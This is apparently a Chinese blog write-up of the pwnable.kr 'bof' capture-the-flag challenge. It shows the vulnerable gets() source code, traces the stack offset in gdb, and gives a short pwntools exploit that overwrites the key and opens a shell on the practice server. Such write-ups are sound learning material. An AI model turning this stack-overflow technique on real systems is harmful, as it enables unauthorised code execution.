标签:标准输入 char targe http argc span ref details write
bof
1、题目:
wget http://pwnable.kr/bin/bof
wget http://pwnable.kr/bin/bof.c
2、代码:
1 #include <stdio.h>
2 #include <string.h>
3 #include <stdlib.h>
4 void func(int key){
5 char overflowme[32];
6 printf("overflow me : ");
7 gets(overflowme); // smash me!
8 if(key == 0xcafebabe){
9 system("/bin/sh");
10 }
11 else{
12 printf("Nah..\n");
13 }
14 }
15 int main(int argc, char* argv[]){
16 func(0xdeadbeef);
17 return 0;
18 }
3、审计:
(1)func()
1)gets(str):
从标准输入设备(输入缓冲区)中读取一行字符串存储到str。
该函数没有检查读取的字符串的大小,存在缓冲区溢出漏洞。
2)声明一个32字节大小的数组,并从输入缓冲区中读取数据进入该数组
3)如果存入数组的数据 == 0xcafebabe ,那么将获取到shell
(2)main()
程序运行,调用func()函数,默认输入0xdeadbeef
4、利用:
f(1)利用思路:
func()中有一个长度为32的字符串数组。
在调用gets()时,由于其没有检查字符串,导致缓冲区溢出,超过32字节的数据将覆盖内存中的其他数据。
利用缓冲区溢出,将key的值覆盖为符合条件的0xcafebabe
(2)寻找覆盖点:
需要寻找到overflow和key存储在内存中的地址,确定覆盖位置。
1)objdump静态调试:
1 objdump -d bof
0x2c + 0x08 = 44 + 8 = 52
2)gdb(peda)动态调试:
加载:
1 gdb ./bof
在main()下一个断点:
1 gdb-peda$ b main
2 Breakpoint 1 at 0x11bc
运行:
1 gdb-peda$ r
单步调试(ni)至call <func>后进入函数(si),一直到call<gets>:
1 gdb-peda$ ni
1 gdb-peda$ si
查看栈中情况:
1 gdb-peda$ stack
计算:
该栈到达gets()函数时的内存地址大小:overflowme+key
0x7fffffffe168(140737488347496) - 0x7fffffffe130(140737488347440) = 56
要将原来的key覆盖成0xcafebabe(4个字节)则需要填充56-4=52个字节的数据
(3)利用代码:
1 from pwn import *
2 def bof():
3 newkey = 0xcafebabe
4 payload = "A" * 52 + p32(newkey)
5 exe = remote("pwnable.kr",9000)
6 exe.sendline(payload)
7 exe.interactive()
8 bof()
PS:小端模式输入
5、总结:
对函数在栈中的调用过程未够清晰理解
对两个调试的工具的使用技巧不够熟练
6、参考:
https://blog.csdn.net/smalosnail/article/details/53190961
https://www.52pojie.cn/forum.php?mod=viewthread&tid=552088
http://burningcodes.net/pwnable%E5%88%B7%E9%A2%98writeup%E4%B9%8Btoddlers-bottle%EF%BC%88%E4%B8%80%EF%BC%89/
标签:标准输入 char targe http argc span ref details write
原文地址:https://www.cnblogs.com/beiweisanshidu/p/10255151.html